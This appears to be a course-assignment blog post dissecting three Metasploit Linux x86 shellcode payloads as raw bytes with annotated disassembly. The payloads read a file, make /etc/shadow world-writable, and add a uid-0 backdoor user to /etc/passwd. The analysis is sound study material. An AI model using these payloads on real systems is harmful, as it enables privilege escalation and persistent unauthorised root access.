SecurityTube 32-bit Linux Assmbly Expert Course Assignments
For this assignment, we will be dissecting sample shellcode for x86 linux generated by the metasploit framework.
The first shellcode sample we will dissect is the read_file payload:
> msfvenom -a x86 --platform linux -p linux/x86/read_file PATH=/tmp/file.txt -f c
No encoder or badchars specified, outputting raw payload
Payload size: 75 bytes
Final size of c file: 339 bytes
unsigned char buf[] =
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x74\x6d\x70\x2f\x66\x69\x6c\x65\x2e\x74\x78\x74\x00";
Once the shellcode is disassembled (and commented, for discussion), the assembly looks like this:
; read_file.nasm
; - Analyzed shellcode from metasploit
;
; > msfvenom -a x86 --platform linux -p linux/x86/read_file PATH=/tmp/file.txt -f c
global _start
section .text
_start:
jmp short section_2 ; jmp call pop
section_1:
; int open(const char *pathname, int flags)
; eax = 0x5 (open)
; ebx => /tmp/file.txt
; ecx = 0x0
mov eax,0x5
pop ebx
xor ecx,ecx
int 0x80
; size_t read(int fd, void *buf, size_t count)
; eax = 0x3 (read)
; ebx = handle from open
; ecx = esp
; edx = 0x1000
mov ebx,eax
mov eax,0x3
mov edi,esp
mov ecx,edi
mov edx,0x1000
int 0x80
; ssize_t write(int fd, const void *buf, size_t count)
; eax = 0x4 (write)
; ebx = 0x1 (stdout)
; ecx = esp
; edx = 0x1000
; esp => |--data-from-file--|
mov edx,eax
mov eax,0x4
mov ebx,0x1
int 0x80
; void exit(int status)
; eax = 0x1 (exit)
; ebx = 0x0
mov eax,0x1
mov ebx,0x0
int 0x80
section_2:
call section_1
section_3:
das ; /
jz 0xad ; tm
jo 0x71 ; p/
imul bp,[ebp+0x2e],word 0x7874 ; file.tx
jz 0x4b ; t\0
A few things about this shellcode pop out at us. First, it’s using the jmp-call-pop method of storing a nearby address, which happens to point to section 3, or “/tmp/file.txt”. Then, the shellcode makes 4 syscalls:
The open syscall gets a handle pointed to the string “/tmp/file.txt”. The read syscall then gets the data stored in that file and puts it on the stack, where the write syscall takes it and writes it to stdout. Finally, the shellcode exits. One might notice that there are quite a few nulls in this shellcode - I believe this is because metasploit has a wide variety of easily implemented encoders and assumes you should just use one of those to remove any bad characters.
Next, we will dissect the chmod payload:
> msfvenom -a x86 --platform linux -p linux/x86/chmod FILE=/etc/shadow -f c
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes
Final size of c file: 177 bytes
unsigned char buf[] =
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f"
"\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
"\x80\x6a\x01\x58\xcd\x80";
Once the shellcode is disassembled (and commented, for discussion), the assembly looks like this:
; chmod.nasm
; - Analyzed shellcode from metasploit
;
; > msfvenom -a x86 --platform linux -p linux/x86/chmod FILE=/etc/shadow -f c
global _start
section .text
_start:
cdq
push byte +0xf
pop eax
push edx
call section_2 ; call pop
section_1:
das ; /
gs jz 0x71 ; etc
das ; /
jnc 0x79 ; sh
popa ; a
fs outsd ; do
ja 0x16 ; w\0
section_2:
; int chmod(const char *pathname, mode_t mode)
; eax = 0xf (chmod)
; ebx => /etc/shadow
; ecx = 0xb6010000
pop ebx
push dword 0x1b6
pop ecx
int 0x80
; void exit(int status)
; eax = 0x1 (exit)
; ebx = 0x0
push byte +0x1
pop eax
int 0x80
Interestingly, rather than using the jmp-call-pop method, this shellcode just uses a call-pop, which still serves the same function of storing a memory address to a string. Once the string “/etc/shadow” is stored, the shellcode makes two syscalls:
Simple enough.
Finally, we will dissect the adduser payload, produced below:
> msfvenom -a x86 --platform linux -p linux/x86/adduser -f c
No encoder or badchars specified, outputting raw payload
Payload size: 97 bytes
Final size of c file: 433 bytes
unsigned char buf[] =
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65"
"\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73"
"\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";
Once the shellcode is disassembled (and commented, for discussion), the assembly looks like this:
; adduser.nasm
; - Analyzed shellcode from metasploit
;
; > msfvenom -a x86 --platform linux -p linux/x86/adduser -f c
global _start
section .text
_start:
; int setreuid(uid_t ruid, uid_t euid)
; eax = 0x46 (setreuid)
; ebx = 0x0
; ecx = 0x0
xor ecx,ecx
mov ebx,ecx
push byte +0x46
pop eax
int 0x80
; int open(const char *pathname, int flags)
; eax = 0x5 (open)
; ebx = esp
; ecx = 0x1
; esp => |0x2f657463|0x2f2f7071|0x73737764|
; /etc //pa sswd
push byte +0x5
pop eax
xor ecx,ecx
push ecx
push dword 0x64777373 ; dwss
push dword 0x61702f2f ; ap//
push dword 0x6374652f ; cte/
mov ebx,esp
inc ecx
mov ch,0x4
int 0x80
xchg eax,ebx ; save handle for write
call section_2 ; call pop
section_1:
insd ; m
gs jz 0x90 ; eta
jnc 0xa1 ; sp
insb ; l
outsd ; o
imul esi,[edx+edi+0x41],dword 0x49642f7a ;it:Az/dI
jnc 0xa7 ; sj
xor al,0x70 ; 4p
xor al,0x49 ; 4I
push edx ; R
arpl [edx],di ; c:
xor [edx],bh ; 0:
xor [edx],bh ; 0:
cmp ch,[edi] ; :/
cmp ch,[edi] ; :/
bound ebp,[ecx+0x6e] ; bin
das ; /
jnc 0xba ; sh
db 0x0a ; \n
section_2:
; ssize_t write(int fd, const void *buf, size_t count)
; eax = 0x4 (write)
; ebx = file handle from open
; ecx => metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\n
; edx = 0x28 (40)
pop ecx ; save pointer to section_1
mov edx,[ecx-0x4] ; interesting way set edx to 40
push byte +0x4
pop eax
int 0x80
; void exit(int status)
; eax = 0x1 (exit)
; ebx = 0x0
push byte +0x1
pop eax
int 0x80
The shellcode starts by calling the setreuid syscall, which is necessary for maintaining the permissions required to edit the “/etc/passwd” file. This shellcode actually combines two common ways to reference a string in shellcode: the call-pop method (that we’ve seen already) and the stack-push method. When calling the open syscall, the string “/etc//passwd” is pushed to the stack and referenced in the syscall. Then we see a call-pop routine to save the string “metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\n” for use in the write syscall. After writing, the shellcode the exits cleanly.
A little insight into the effort put in to shrinking shellcode - in the write syscall they chose to use mov edx,[ecx-0x4]
(\x8b\x51\xfc) to put 40 into edx instead of xor edx,edx;mov dl,0x4
(\x31\xd2\xb2\x04). That’s quite a change for one byte - worth it.
You can find the all the code to this challenge at https://github.com/johneiser/SLAE/tree/master/assignments/Assignment_5.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/